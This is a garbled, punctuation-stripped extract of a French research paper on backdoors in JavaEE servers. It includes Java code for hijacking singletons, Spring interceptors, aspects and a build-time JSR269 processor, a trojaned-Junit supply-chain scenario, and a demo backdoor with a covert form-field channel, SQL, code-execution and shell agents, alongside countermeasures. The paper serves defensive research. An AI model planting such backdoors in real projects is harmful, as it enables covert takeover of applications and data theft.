
access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

